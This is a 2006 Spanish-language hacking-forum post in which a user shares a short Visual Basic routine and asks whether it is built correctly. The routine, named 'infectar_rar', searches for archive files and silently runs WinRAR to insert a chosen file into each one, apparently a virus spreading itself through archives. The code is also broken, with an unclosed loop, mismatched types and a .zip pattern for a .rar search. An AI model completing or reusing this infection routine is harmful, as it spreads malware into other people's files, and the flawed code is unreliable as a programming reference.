elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía actualizada para evitar que un ransomware ataque tu empresa


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  Estaria bien este codigo?
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Estaria bien este codigo?  (Leído 1,029 veces)
Saok Dagon

Desconectado Desconectado

Mensajes: 115

SaOk


Ver Perfil WWW
Estaria bien este codigo?
« en: 12 Noviembre 2006, 22:21 pm »

ola

Citar
Private Sub search_rar()
On Error Resume Next
Dim NombreRar As String
Dim rarExit As String
rarExit = FindFirstFile("*.zip", NombreRar)
infectar_rar NombreRar.cFileName
While FindNextFile(rarExit, NombreRar)
infectar_rar NombreRar.cFileName
End Sub

Function infectar_rar(NombreRar As String)
On Error Resume Next
Dim file_exe As String
Dim winrar As String
winrar = "C:\ARCHIVOS DE PROGRAMA\WINRAR\WinRAR.exe"
Shell winrar & " -a " & NombreRar & " " & text1.text, vbHide
End Function

Queria saber si asi esta bien montado el motor de busqueda para los .rar y luego la forma de usar los resultados.

saludos[sh]


En línea

www.colgados.net date una pasadita!

Todo el anime, manga, pelis, series...etc
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Este formulario de registro estaria bien ?
PHP
nobo 4 2,067 Último mensaje 21 Febrero 2012, 00:03 am
por nobo
me puden revisar este codigo a ver si esta bien lo q e hecho
Programación C/C++
eduardo17445 1 4,208 Último mensaje 28 Mayo 2014, 23:07 pm
por Eternal Idol
La compañía ferroviaria alemana, a Greta Thunberg: «Estaría bien si dijeras cómo
Foro Libre
El_Andaluz 0 1,126 Último mensaje 16 Diciembre 2019, 00:08 am
por El_Andaluz
Esta bien elaborado este codigo?
Programación C/C++
JoneDawson 1 3,242 Último mensaje 5 Diciembre 2020, 18:19 pm
por K-YreX
No me va bien este pendrive
Electrónica
ngffdjnd 2 7,802 Último mensaje 11 Julio 2021, 16:28 pm
por DJKENSHIN
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines